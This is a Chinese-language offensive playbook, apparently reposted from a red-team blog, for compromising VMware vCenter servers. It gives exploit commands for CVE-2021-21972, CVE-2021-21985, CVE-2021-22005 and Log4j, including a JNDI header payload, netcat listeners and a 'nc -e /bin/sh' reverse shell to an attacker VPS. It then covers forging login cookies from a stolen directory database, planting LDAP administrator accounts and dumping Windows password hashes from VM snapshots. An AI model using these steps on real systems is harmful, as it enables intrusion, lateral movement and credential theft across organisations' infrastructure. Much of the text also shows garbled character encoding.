文章來源:零隊
前言
利用思路
Vcenter利用點非常多,獲取權限之后危害較大,并且web特征明顯,內(nèi)網(wǎng)中很容易被發(fā)現(xiàn)。
發(fā)現(xiàn)之后,查看Vcenter版本信息,確定存在的漏洞,通過漏洞獲取webshell。
測試權限,如果權限為root,進行偽造cookie或者創(chuàng)建用戶操作獲取web權限,進入vCenter后臺獲取更多機器的權限,盡可能的滾雪球擴大戰(zhàn)果,如果權限為vsphere-ui,則查看版本是否存在條件提權,存在條件提權就提權到root權限,重復root權限操作。如果不存在條件提權,就盡可能的從當前機器中記錄數(shù)據(jù),以此機器作為跳板機進行內(nèi)網(wǎng)漫游。
實戰(zhàn)思路
為什么要打Vcenter
Vcenter人送外號小域控,Vcenter拿下之后,不單單只是獲取一臺服務器的權限【因為Vcenter的管理端中必然會有其他的虛擬機存在】,拿下Vcenter的價值不亞于域控的價值。
怎么尋找公網(wǎng)的Vcenter
通過搜索語法查找公網(wǎng)Vcenter服務器,一般Vcenter開放的端口為5480,此外,使用工具獲取網(wǎng)頁title時,也可以發(fā)現(xiàn)Vcenter服務器。
title='+ ID_VC_Welcome +'
打下Vcenter之后應該做什么
內(nèi)網(wǎng)三要素,我是誰?我在哪?我要去哪?接下來就是翻找數(shù)據(jù),偽造cookie或者創(chuàng)建用戶操作獲取web權限,獲取windows機器的hash,或者直接進入虛擬機進行信息搜集,做專屬的密碼本,一些相關的敏感數(shù)據(jù)也是加分項,以便于后期的內(nèi)網(wǎng)滲透,信息搜集做的好,漏洞絕對跑不了。
查看Vcenter版本
/sdk/vimServiceVersions.xml
漏洞利用
·Nuclei
工具介紹
Nuclei是一個快速的、基于模板的漏洞掃描程序,專注于廣泛的可配置性、大規(guī)模的可擴展性和易用性,方便利用模板快速定位漏洞。
項目地址
https://github.com/projectdiscovery/nuclei
·CVE-2021-21972
使用腳本
https://github.com/NS-Sp4ce/CVE-2021-21972
命令
python cve-2021-21972.py -url
影響版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
攻擊腳本至少需要寫120次,尋找真實的絕對路徑,受網(wǎng)絡問題影響較大,如果寫入成功,就會直接回顯shell地址。
確認漏洞
通過Nuclei獲取存在漏洞的網(wǎng)站。
Url中拼接/ui/vropspluginui/rest/services/uploadova,如果頁面返回狀態(tài)碼為200、405,則可能存在漏洞。
·CVE-2021-21985
使用腳本
https://github.com/r0ckysec/CVE-2021-21985
命令
VPS
java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <監(jiān)聽port> # 使用腳本生成pyloadnc -lvvp <監(jiān)聽port> # nc接收反彈shell
攻擊雞
python cve-2021-21985_exp.py <target> <rmi://ip/class>
影響版本
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
確認漏洞
nuclei掃描
·CVE-2021-22005
使用腳本
https://github.com/shmilylty/cve-2021-22005-exp
命令
exp.exe -t <target> -s <webshell>
如果不指定-s的話,會上傳默認的cmd.jsp,可以指定自己生成的馬兒。
影響版本
VMware vCenter Server 7.0
VMware vCenter Server 6.7 Running On Virtual Appliance
VMware Cloud Foundation (vCenter Server) 4.x
VMware Cloud Foundation (vCenter Server) 3.x
確認漏洞
利用nuclei掃描
·Log4j
使用腳本
https://github.com/zzwlpx/JNDIExploit
命令
漏洞成因是Vcenter的SAML路由中,可以通過增加XFF頭觸發(fā)漏洞,把需要執(zhí)行的命令跟在XFF后面。
SAML路由路徑如下:
/websso/SAML2/SSO/vsphere.local?SAMLRequest=
Payload如下:
${jndi:ldap://exp}
exp的內(nèi)容需要通過上面給出的腳本JDNI注入工具完成。
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip
查看可執(zhí)行的命令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
利用命令行反彈shell
利用命令行反彈shell的方式有兩種,第一種是直接使用工具中自帶的/ReverseShell/ip/port,但是這種方式不適合用于Vcenter,雖然可以反彈回shell,但是執(zhí)行命令無法回顯。這里選擇使用以下命令反彈shell
nc -e /bin/sh vps_ip port
后續(xù)利用
獲取web權限
·偽造cookie
使用腳本
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
命令
使用腳本時可能會報錯,需要提前安裝requirements.txt下的庫
windows下安裝python-ldap的方法:
下載對應python版本的python-ldap(cp310代表的是python3.10的版本)
項目地址
https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap
pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl
獲取data.mdb
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb
從目標機器/storage/db/vmware-vmdir/的目錄下下載data.mdb。
偽造cookie
目標機器內(nèi)網(wǎng)ip需要本地可以訪問到,否則無法偽造cookie。
python vcenter_saml_login.py -t <目標機器內(nèi)網(wǎng)ip> -p data.mdb
使用cookie修改工具,修改cookie的值
修改完成之后,點擊頁面的啟動
如果沒成功,則代表需要設置hosts指定域名和ip的關系,清除瀏覽器緩存重新訪問。
·LDAP創(chuàng)建管理員
使用腳本
文章
https://3gstudent.github.io/vSphere開發(fā)指南5-LDAP
腳本
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
實戰(zhàn)
將腳本上傳之后,執(zhí)行命令搜集相關信息,方便后續(xù)替換
python update.py
python update.py getadmin
python update.py getuser
根據(jù)收集到的信息修改腳本內(nèi)容
使用下列命令adduser、addadmin
python update.py adduserpython update.py addadmin
登錄驗證
·獲取Vcenter后臺windows機器權限
使用腳本
https://www.volatilityfoundation.org/releases
手法
利用偽造cookie或者LDAP創(chuàng)建管理員進入到后臺,找到一臺處于鎖屏界面的windows主機,創(chuàng)建快照。
快照保存在相對應的數(shù)據(jù)庫中,在相對應的數(shù)據(jù)庫中下載vmem和vmsn這兩個文件。
利用volatility查看Suggested Profile(s)
默認選擇第一個(volatility默認推薦)
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo
列出注冊表內(nèi)容
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist
使用hashdump獲取hash值
volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010
還有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!
如有侵權,請聯(lián)系刪除
聯(lián)系客服